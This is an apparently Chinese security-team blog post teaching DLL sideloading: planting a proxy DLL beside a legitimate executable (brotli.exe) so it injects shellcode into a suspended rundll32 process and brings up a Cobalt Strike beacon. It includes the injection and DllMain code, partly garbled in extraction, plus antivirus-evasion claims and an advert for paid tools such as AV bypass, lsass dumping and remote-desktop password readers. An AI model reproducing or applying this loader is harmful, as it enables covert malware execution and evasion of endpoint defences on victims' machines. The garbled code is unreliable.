现在只对常读和星标的公众号才展示大图推送,建议大家能把星落安全团队“设为星标”,否则可能就看不到了啦!
背景介绍
有些师傅还不太了解“白加黑”,用一句话概括就是 通过正常应用的exe程序去加载我们制作的恶意的dll,来执行shellcode代码,从而实现上线cobaltstrike。
DLL相关知识
为什么能够劫持DLL?
因为dll默认搜索路径(优先级)
调用进程的可执行文件所在的目录->系统目录->16 位系统目录->Windows 目录->当前工作目录->环境变量 PATH 指定的目录
只需要把恶意dll文件放在调用进程的可执行文件所在的目录即可优先调用我们的恶意dll文件。
推荐工具(无脑操作):
ZeroEye 自动挖掘白程序工具
AheadLib dll的相关函数导出
制作教程
首先使用ZeroEye挖掘白程序,没有证书的白程序也可以完成上线cs操作。
然后进行bin->x64目录中,寻找一个合适的白程序以及适合制作黑DLL的DLL文件,注意:一定要选择和程序相关的DLL,不要用系统中的DLL文件,因为这些DLL文件已经被杀软拉黑了。这里选择了brotli.exe程序。
然后使用AheadLib导出dll的相关函数,选择libbrotli.dll,然后点击"Makefile"按钮,即可在dll目录生成两个文件分别为libbrotli.cpp和libbrotli_jump.asm。
然后使用visualstudio2022制作动态链接库DLL,名字为DLL文件名称。
然后将libbrotli.cpp内容复制到dllmain.cpp中,然后点击源文件添加现有项将libbrotli_jump.asm复制到目录中,并把此文件添加到源文件中。
然后根据libbrotli_jump.asm进行操作。
然后在dllmian中将第一个红框代码取消注释,将第二个红框代码注释掉,第三个红框的地方修改为任意名字,同样也要将原来的libbrotli.dll修改为你修改的名字。我这里将libbrotli.dll修改为了ApiHelp.dll,然后vs2022生成的dll名字为libbrotli.dll。
然后这里修改为白程序的名称,我这里为broli.exe
cs上线代码采用了零攻防 生吃香菜师傅的傀儡进程注入代码,在此基础上做了些许更改。
InjectShellcode函数代码:
"xfcx48x83xe4xf0xe8xc8x00x00x00x41"; =
BOOL InjectShellcode(BYTE* shellcode, SIZE_T shellcodeSize) {
DWORD nFileSize = shellcodeSize;
LPVOID ScAddress = shellcode;
PROCESS_INFORMATION ProcessInformation;
STARTUPINFOA StartupInfo;
v24;
CONTEXT Context;
SIZE_T DwWrite = 0;
sizeof(StartupInfo));
sizeof(StartupInfo); =
BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | CREATE_NO_WINDOW, 0, 0, &StartupInfo, &ProcessInformation);
if (result) {
CONTEXT_CONTROL; =
&Context);
v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, nFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
v24, ScAddress, nFileSize, &DwWrite);
(DWORD64)v24; =
&Context);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
}
0);
return TRUE;
}
DllMain代码:
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
if (Load() && Init())
{
TCHAR szAppName[MAX_PATH] = TEXT("brotli.exe");//请修改宿主进程名
TCHAR szCurName[MAX_PATH];
GetModuleFileName(NULL, szCurName, MAX_PATH);
PathStripPath(szCurName);
//是否判断宿主进程名
if (StrCmpI(szCurName, szAppName) == 0)
{
InjectShellcode(killraw, sizeof(killraw));
}
}
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
最后生成libbrotli.dll,然后将原来的libbrotli.dll更改为ApiHelp.dll,然后将libbrotli.dll复制进去。然后对libbrotli.dll进行免杀操作处理即可。(正常制作的dll会报HEUR/QVM203 免杀操作放在了星球内部)
然后运行brotli.exe即可上线cs。
免杀效果
物理机360:
火绒:
圈子介绍
博主介绍:
目前工作在某安全公司攻防实验室,一线攻击队选手。自2022-2024年总计参加过30+次省/市级攻防演练,擅长工具开发、免杀、代码审计、信息收集、内网渗透等安全技术。
目前已经更新的免杀内容:
一键击溃360+核晶
CobaltStrike4.9.1二开
CobaltStrike免杀插件
aspx文件自动上线cobaltbrike
jsp文件自动上线cobaltbrike
哥斯拉免杀工具 XlByPassGodzilla
冰蝎免杀工具 XlByPassBehinder
冰蝎星落专版 xlbehinder
正向代理工具 xleoreg
反向代理工具xlfrc
内网扫描工具 xlscan
CS免杀加载器 xlbpcs
Todesk/向日葵密码读取工具
导出lsass内存工具 xlrls
绕过WAF免杀工具 ByPassWAF
等等...
目前星球已满100人,价格由198元调整为208元(交个朋友啦),200名以后涨价至238元!
关注微信公众号后台回复“入群”,即可进入星落安全交流群!
关注微信公众号后台回复“20241024”,即可进入获取工具下载地址!
往期推荐
1.
3
4
5.
【声明】本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统以及盈利等目的,一切后果由操作者自行承担!!!
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...